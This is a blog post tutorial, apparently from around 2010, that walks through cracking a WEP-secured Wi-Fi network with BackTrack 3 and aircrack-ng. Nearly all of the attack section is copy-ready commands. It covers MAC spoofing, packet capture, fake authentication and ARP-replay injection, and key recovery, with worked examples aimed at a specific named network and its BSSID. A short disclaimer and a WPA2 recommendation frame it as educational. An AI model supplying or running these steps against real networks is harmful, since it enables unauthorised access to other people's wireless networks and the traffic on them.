How to Crack a Wi-Fi Network's WEP Password with BackTrack



Today we're going to run down, step-by-step, how to crack a Wi-Fi network with WEP security turned on. But first, a word: Knowledge is power, but power doesn't mean you should be a jerk, or do anything illegal. Knowing how to pick a lock doesn't make you a thief. Consider this post educational, or a proof-of-concept intellectual exercise.

Dozens of tutorials on how to crack WEP are already all over the internet using this method. Seriously—Google it. This ain't what you'd call "news." But what is surprising is that someone like me, with minimal networking experience, can get this done with free software and a cheap Wi-Fi adapter. Here's how it goes.




What You'll Need


  • A compatible wireless adapter—This is the biggest requirement. You'll need a wireless adapter that's capable of packet injection, and chances are the one in your computer is not. I purchased 2 wireless USB adapter, TP-LINK (TL-WN321G) and LINKSYS (WUSB54GC) USB adapter, both are using same driver rt73. There are plenty of resources on getting aircrack-compatible adapters out there-compatible_cards and backtrack offensive-security

                       

             


                        





  • A BackTrack 3 Live CD. The Linux Live CD that lets you do all sorts of security testing and tasks. Download yourself a copy of the CD and burn it, or load it up in VMware to get started. (I tried the BackTrack 4 final-release, and it didn't work as well as BT3. Do yourself a favor and stick with BackTrack 3 for now.)
  • A nearby WEP-enabled Wi-Fi network. The signal should be strong and ideally people are using it, connecting and disconnecting their devices from it. The more use it gets while you collect the data you need to run your crack, the better your chances of success.
  • Patience with the command line. This is a process that requires typing in long, arcane commands and waiting around for your Wi-Fi card to collect data in order to crack the password.

How to Crack WEP
To crack WEP, you'll need to launch Konsole, BackTrack's built-in command line. It's right there on the taskbar in the lower left corner, second button to the right. Now, the commands.
First run the following to get a list of your network interfaces:

airmon-ng














The only one I've got there is labeled rausb0. Yours may be different; take note of the label and write it down. From here on in, substitute it in everywhere a command includes (interface).

Before we start cracking, we need to install rt73 driver.
First of all, you need to download this:

http://homepages.tu-darmstadt.de/~p_larbig/wlan/rt73-k2wrlz-3.0.3.tar.bz2
(just save to root)















Now, run the following four commands. See the output that I got for them in the screenshot below.

(this comes from shamanvirtuel's thread: New Rt73 Driver Relized By Aspj )

-Shutdown WUSB54GC:
ifconfig rausb0 down

-Uninstall drivers:
rmmod rt73

-Extract new drivers to root:
tar -xvjf rt73-k2wrlz-3.0.3.tar.bz2

-cd to driver dir + install it:
cd rt73-k2wrlz-3.0.3
cd Module
make
make install
modprobe rt73

-ready to go:
ifconfig rausb0 up
iwconfig rausb0 mode monitor channel xx rate 1M


-now try to capture packets:
airmon-ng stop rausb0
macchanger --mac 00:11:22:33:44:55
airmon-ng start rausb0

If you don't get the same results from these commands, most likely your network adapter won't work with this particular crack. If you do, you've successfully "faked" a new MAC address on your network interface, 00:11:22:33:44:55.

Now it's time to pick your network. Run:

airodump-ng rausb0

To see a list of wireless networks around you. When you see the one you want, hit Ctrl+C to stop the list. Highlight the row pertaining to the network of interest, and take note of two things: its BSSID and its channel (in the column labeled CH), as pictured below. Obviously the network you want to crack should have WEP encryption (in the ENC) column, not WPA or anything else.














Like I said, hit Ctrl+C to stop this listing. Once you've got it, highlight the BSSID and copy it to your clipboard for reuse in the upcoming commands.

Now we're going to watch what's going on with that network you chose and capture that information to a file. Run:


airodump-ng -c (channel) -w (file name) --bssid (bssid) (interface)rausb0
airodump-ng -c 6 -w Daniel --bssid 00:22:B0:94:92:FC rausb0 


Where (channel) is your network's channel, and (bssid) is the BSSID you just copied to clipboard. You can use the Shift+Insert key combination to paste it into the command. Enter anything descriptive for (file name). I chose "Daniel" which is the network's name I'm cracking.












You'll get output like what's in the window in the background pictured below. Leave that one be. Open a new Konsole window in the foreground, and enter this command:

aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface)

aireplay-ng -1 0 -a 00:22:B0:94:92:FC -h 00:11:22:33:44:55 -e Daniel rausb0
Here the ESSID is the access point's SSID name, which in my case is Daniel. What you want to get after this command is the reassuring "Association successful" message with that smiley face.










You're almost there. Now it's time for:

aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)

aireplay-ng -3 -b 00:22:B0:94:92:FC -h 00:11:22:33:44:55 rausb0

Here we're creating router traffic to capture more throughput faster to speed up our crack. After a few minutes, that front window will start going crazy with read/write packets. Here's the part where you might have to grab yourself a cup of coffee or take a walk. Basically you want to wait until enough data has been collected to run your crack. Watch the number in the "#Data" column—you want it to go above 10,000.

Depending on the power of your network, this process could take some time. Wait until that #Data goes over 10k, though—because the crack won't work if it doesn't. In fact, you may need more than 10k, though that seems to be a working threshold for many.



After about 10,000-20,000 you can begin cracking the WEP key. If there are no other hosts on the target access point generating packets, you can try:


aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b (bssid) -h 00:11:22:33:44:55 (interface)

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:22:B0:94:92:FC -h 00:11:22:33:44:55 rausb0














Once you have enough packets, you begin the crack:

aircrack-ng -n 128 -b (bssid) (filename)-01.cap
aircrack-ng -n 128 -b 00:22:B0:94:92:FC Daniel-01.cap
                                     Or
aircrack-ng -a 1 -0 -n 128 Daniel-01.cap


The “-n 128″ signifies a 128-bit WEP key. If cracking fails, try a 64-bit key by changing the value of N to 64.














Once the crack is successful you will be left with the KEY! Remove the : from the output and there is your key. So there you have it.

You can use these techniques to demonstrate to others why using WEP is a bad idea. I suggest you use WPA2 encryption on your wireless networks. Goodluck!

1 comments:

  Anonymous

March 29, 2010 at 1:21 PM

Nice, Keep up the good work!!